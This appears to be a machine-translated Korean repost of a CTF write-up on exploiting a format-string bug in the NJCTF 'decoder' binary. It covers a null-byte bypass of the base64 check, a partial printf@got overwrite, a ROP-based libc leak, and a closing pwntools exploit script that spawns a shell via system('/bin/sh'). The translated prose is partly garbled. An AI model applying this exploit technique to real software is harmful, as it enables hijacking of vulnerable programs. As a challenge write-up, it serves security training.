포맷 문자열 빈틈 실전의 njctf-decoder 활용
포맷 문자열의 빈틈도 비교적 흔히 볼 수 있는 빈틈 이용 기술이다.
ctf
에도 자주 등장한다.본고는
njctf
오프라인 경기의 한 문제를 예로 삼아 실전을 진행한다.제목 링크:https://gitee.com/hac425/blog_data/blob/master/decoder
본문
절차의 절차는 다음과 같다.
일부 함수는 이미 표시되어 있으며 프로그램이 출력한 알림 정보를 보면 이것이
base64
디코딩된 프로그램임을 알 수 있다. 그리고 +
디코딩에 사용되는 함수를 base64
방식으로 찾을 수 있다.이 프로그램의 빈틈은
base64
디코딩된 문자열을 snprintf
직접 전송하여 format
처리하고 빈틈을 포맷하는 데 있다.포맷 열을 통해 임의로 쓰기/임의로 읽을 수 있지만, 여기서 포맷을 한 번 하면 프로그램 끝까지 내려갑니다.그래서 여기서 나는 수정
printf@got
의 값을 rop gadgets
로 하고 진행한다rop
.앞에
check
도 주의해야 한다. base64
의 포맷 규범에 만족하지 않는 문자열은 빈틈을 촉발할 수 없다.하지만 우리는 이것들을 돌아갈 수 있다check
.프로그램 프로그램이 입력을 가져올 때 사용하는 것은
read
함수이지만, 뒤에 있는 base64_check
와 base64_decode
가 사용하는 입력의 길이는 모두 strlen
로 가져옵니다.strlen
는 검색\x00
을 통해 문자열의 길이를 정하고 read
을 통해 \x00
를 입력할 수 있기 때문에 우리는 정상base64
뒤에 \x00
를 붙이고 rop chain
를 배치하면 된다.빈틈을 촉발할 때printf
함수가 아직 호출되지 않았기 때문got
표에 저장된 값은
의 값을 거치지 않았다.창고 안의
base64
문자열을 돌기 위해서는 add esp
의gadgets
를 사용할 수 있는 ROPgadget
가 필요합니다.0x08048b31
와 printf@got
의 값이 2
바이트의 차이만 있기 때문에 %hn
를 사용하면 두 바이트를 쓸 수 있다. 쓴 데이터는 0x8b31
, 주소는 0x0804B010
이다.%35633c%7$hn
그리고 뒤에
printf
를 호출하면 rop chain
에 들어갑니다. 먼저 rop
호출puts
을 통해 프린트read@got
유출libc
그리고 다시 빈틈을 터치하여 방금leak
의 데이터로 배치rop
호출system('/bin/sh')
최후strlen
에 우리가 입력할 수 있다면\x00
의 반환값은 우리가 제어할 수 있다.부분 수정
got
을 통해 실행rop
을 하고 뒤에 호출된 함수에 주의해야 한다.마지막
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./decoder")
gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E
b *0x08048b31
# b *0x8048c5f
c
''')
pause()
printf_got = 0x0804B010
read_got = 0x0804B00C
puts_plt = 0x08048520
main_addr = 0x08048B37
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C) # addr to leak
p.sendline(payload)
p.recvuntil("THIS IS A SIMPLE BASE64 DECODER
")
read_addr = u32(p.recv(4))
libc_addr = read_addr - 0xd5af0
system_addr = libc_addr + 0x3ada0
sh_addr = libc_addr + 1423787
log.info("system: " + hex(system_addr))
log.info("/bin/sh: " + hex(sh_addr))
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(system_addr)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(sh_addr) # addr to leak
p.sendline(payload)
p.interactive()
전재 대상:https://www.cnblogs.com/hac425/p/9416815.html
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
다양한 언어의 JSONJSON은 Javascript 표기법을 사용하여 데이터 구조를 레이아웃하는 데이터 형식입니다. 그러나 Javascript가 코드에서 이러한 구조를 나타낼 수 있는 유일한 언어는 아닙니다. 저는 일반적으로 '객체'{}...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.